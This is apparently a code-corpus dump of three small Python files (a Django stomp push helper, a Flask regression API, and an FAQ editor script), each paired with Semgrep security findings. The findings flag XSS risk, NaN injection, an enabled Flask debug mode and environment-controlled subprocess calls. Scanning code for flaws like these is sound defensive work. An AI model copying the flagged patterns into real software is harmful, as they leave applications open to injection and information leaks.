"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1398,
"license": "MIT",
"license_type": "permissive",
"path": "/what_apps/push/functions.py",
"provenance": "stack-edu-0054.json.gz:569500",
"repo_name": "jMyles/WHAT",
"revision_date": 1412296764000,
"revision_id": "69e78d01065142446234e77ea7c8c31e3482af29",
"snapshot_id": "4d04119d65d317eb84c00682cb32bea2ed1bc11f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jMyles/WHAT/69e78d01065142446234e77ea7c8c31e3482af29/what_apps/push/functions.py",
"visit_date": "2021-01-18T02:18:20.911401"
} | 2.484375 | stackv2 | from django.template import loader, Context, RequestContext
import stomp
import json
def push_with_template(template, context, destination):
'''
Pushes content through stomp / morbidQ to comet listeners.
This drives a lot of the "live" content on our site.
'''
t = loader.get_template(template) #Probably a very small, cookie-cutter template that gets included again and again. 'comm/call_alert.html' is a good example.
c = Context(context)
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(t.render(c), destination=destination)
conn.stop()
return True
def push_with_json(dict, destination):
json_dict = json.dumps(dict)
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(json_dict, destination=destination)
conn.stop()
return True
def push_with_string(string, destination):
conn = stomp.Connection() #This will raise errors if stomp / orbited crash. Maybe we should try / except and handle this situation more gracefully.
conn.start()
conn.connect()
conn.send(string, destination=destination)
conn.stop() | 36 | 37.86 | 163 | 9 | 309 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_694fcb5e9a63d4d5_96d09143", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 15, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/694fcb5e9a63d4d5.py", "start": {"line": 16, "col": 15, "offset": 675}, "end": {"line": 16, "col": 26, "offset": 686}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
16
] | [
16
] | [
15
] | [
26
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | functions.py | /what_apps/push/functions.py | jMyles/WHAT | MIT | |
2024-11-18T19:23:57.885757+00:00 | 1,610,141,259,000 | 0e1f5192eb432979ace9c427fb6bf98878c98fb6 | 3 | {
"blob_id": "0e1f5192eb432979ace9c427fb6bf98878c98fb6",
"branch_name": "refs/heads/main",
"committer_date": 1610141259000,
"content_id": "d0b0a066db2e25ecc23563ba8f5d2466d35c4012",
"detected_licenses": [
"MIT"
],
"directory_id": "a73327658349142b348a0a981e1282588cd0fc35",
"extension": "py",
"filename": "app.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 307098297,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1469,
"license": "MIT",
"license_type": "permissive",
"path": "/app.py",
"provenance": "stack-edu-0054.json.gz:569514",
"repo_name": "WilliamVida/EmergingTechnologiesProject",
"revision_date": 1610141259000,
"revision_id": "ef98cd5ca0a92f5192392347df578ff105db6396",
"snapshot_id": "16fd53c810fb56decfb31b3e724613372c873257",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/WilliamVida/EmergingTechnologiesProject/ef98cd5ca0a92f5192392347df578ff105db6396/app.py",
"visit_date": "2023-02-11T20:15:37.270647"
} | 2.625 | stackv2 | import flask as fl
from flask import Flask, redirect, url_for, request, jsonify
import tensorflow.keras as kr
from speedPowerModel import LinearRegressionModel, PolynomialRegressionModel, KNNRegressionModel
app = fl.Flask(__name__)
# Add root route.
@app.route("/")
def home():
return app.send_static_file("index.html")
# Route for linear regression.
@app.route("/api/linear/<speed>")
def LinearPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = LinearRegressionModel(speed)
return jsonify({"value": prediction})
# Route for polynomial regression.
@app.route("/api/polynomial/<speed>")
def PolynomialPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = PolynomialRegressionModel(speed)
return jsonify({"value": prediction})
# Route for k-nearest neighbours regression.
@app.route("/api/knn/<speed>")
def KNNPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
prediction = KNNRegressionModel(speed)
return jsonify({"value": prediction})
# Route for neural network.
@app.route("/api/nn/<speed>")
def NeuralNetworkPrediction(speed):
if float(speed) == 0:
return jsonify({"value": 0})
speed = float(speed)
model = kr.models.load_model("model.h5")
prediction = model.predict([speed])
return jsonify({"value": prediction.item(0)})
if __name__ == "__main__":
app.run(debug=True)
| 62 | 22.69 | 96 | 13 | 330 | python | [{"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_5990aeaa", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 18, "col": 8, "offset": 430}, "end": {"line": 18, "col": 20, "offset": 442}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_c00e97b8", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 29, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 29, "col": 8, "offset": 691}, "end": {"line": 29, "col": 20, "offset": 703}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_c43e4f4c", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 40, "col": 8, "offset": 952}, "end": {"line": 40, "col": 20, "offset": 964}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_27bec33b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 8, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 51, "col": 8, "offset": 1198}, "end": {"line": 51, "col": 20, "offset": 1210}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.injection.nan-injection_609dcba71fd88f50_9b149209", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.injection.nan-injection", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 54, "line_end": 54, "column_start": 13, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-704: Incorrect Type Conversion or Cast", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "title": null}, {"url": "https://blog.bitdiscovery.com/2021/12/python-nan-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.injection.nan-injection", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 54, "col": 13, "offset": 1267}, "end": {"line": 54, "col": 25, "offset": 1279}, "extra": {"message": "Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.", "metadata": {"references": ["https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868", "https://blog.bitdiscovery.com/2021/12/python-nan-injection/"], "category": "security", "cwe": ["CWE-704: Incorrect Type Conversion or Cast"], "technology": ["flask"], "subcategory": ["vuln"], "impact": "MEDIUM", "likelihood": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.debug-enabled_609dcba71fd88f50_f8486f28", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.debug-enabled", "finding_type": "security", "severity": "medium", "confidence": "high", "message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "remediation": "", "location": {"file_path": "unknown", "line_start": 62, "line_end": 62, "column_start": 5, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": "CWE-489: Active Debug Code", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A", "references": [{"url": "https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.debug-enabled", "path": "/tmp/tmpb8jm_z1l/609dcba71fd88f50.py", "start": {"line": 62, "col": 5, "offset": 1449}, "end": {"line": 62, "col": 24, "offset": 1468}, "extra": {"message": "Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables.", "metadata": {"cwe": ["CWE-489: Active Debug Code"], "owasp": "A06:2017 - Security Misconfiguration", "references": ["https://labs.detectify.com/2015/10/02/how-patreon-got-hacked-publicly-exposed-werkzeug-debugger/"], "category": "security", "technology": ["flask"], "subcategory": ["vuln"], "likelihood": "HIGH", "impact": "MEDIUM", "confidence": "HIGH"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-704",
"CWE-704",
"CWE-704",
"CWE-704",
"CWE-704"
] | [
"rules.python.flask.security.injection.nan-injection",
"rules.python.flask.security.injection.nan-injection",
"rules.python.flask.security.injection.nan-injection",
"rules.python.flask.security.injection.nan-injection",
"rules.python.flask.security.injection.nan-injection"
] | [
"security",
"security",
"security",
"security",
"security"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
"HIGH",
"HIGH",
"HIGH",
"HIGH",
"HIGH"
] | [
18,
29,
40,
51,
54
] | [
18,
29,
40,
51,
54
] | [
8,
8,
8,
8,
13
] | [
20,
20,
20,
20,
25
] | [
"",
"",
"",
"",
""
] | [
"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations ... | [
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | app.py | /app.py | WilliamVida/EmergingTechnologiesProject | MIT | |
2024-11-18T19:23:59.482901+00:00 | 1,534,870,631,000 | 58587ca7ebae4099d24d64f415463cce3c1a091d | 3 | {
"blob_id": "58587ca7ebae4099d24d64f415463cce3c1a091d",
"branch_name": "refs/heads/master",
"committer_date": 1534870631000,
"content_id": "d6c3177e4bb785f4a4318763cab19e6f76518fc1",
"detected_licenses": [
"MIT"
],
"directory_id": "546f7435f1303d98b169eb30d56fb973e2efc5e1",
"extension": "py",
"filename": "edit-question.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 144905739,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 743,
"license": "MIT",
"license_type": "permissive",
"path": "/libraryh3lp-sdk-python/examples/edit-question.py",
"provenance": "stack-edu-0054.json.gz:569526",
"repo_name": "GeorgetownMakerHubOrg/libraryh3lpListener",
"revision_date": 1534870631000,
"revision_id": "f8862aa6db566b55ed5a91cdbffd726997aa08d3",
"snapshot_id": "295da50394a573fa694847122a50e4fe32ce78d4",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/GeorgetownMakerHubOrg/libraryh3lpListener/f8862aa6db566b55ed5a91cdbffd726997aa08d3/libraryh3lp-sdk-python/examples/edit-question.py",
"visit_date": "2020-03-26T12:44:33.158886"
} | 2.5625 | stackv2 | #!/usr/bin/env python
# edit-question.py
# ----------------
# Edit your FAQ in the console. Because consoles rock.
from subprocess import call
import lh3.api
import os
import sys
import tempfile
# Takes two command line arguments, FAQ ID and Question ID.
faq_id, question_id = sys.argv[1:]
client = lh3.api.Client()
question = client.one('faqs', faq_id).one('questions', question_id).get(params = {'format': 'json'})
EDITOR = os.environ.get('EDITOR', 'vim')
_, temp = tempfile.mkstemp(suffix = '.tmp')
with open(temp, 'w') as f:
f.write(question['answer'])
f.flush()
call([EDITOR, temp])
with open(temp, 'r') as f:
answer = f.read()
client.one('faqs', faq_id).one('questions', question_id).patch({'answer': answer})
| 32 | 22.22 | 100 | 12 | 195 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_39fc9331bf43f9cb_bc1d8bb6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 6, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 24, "col": 6, "offset": 516}, "end": {"line": 24, "col": 21, "offset": 531}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_39fc9331bf43f9cb_baaa8533", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 5, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 1, "offset": 585}, "end": {"line": 28, "col": 5, "offset": 589}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_39fc9331bf43f9cb_95a741f3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 1, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 1, "offset": 585}, "end": {"line": 28, "col": 21, "offset": 605}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_39fc9331bf43f9cb_794f17bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 28, "column_start": 6, "column_end": 20, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/39fc9331bf43f9cb.py", "start": {"line": 28, "col": 6, "offset": 590}, "end": {"line": 28, "col": 20, "offset": 604}, "extra": {"message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_39fc9331bf43f9cb_375cbfbb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 6, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": 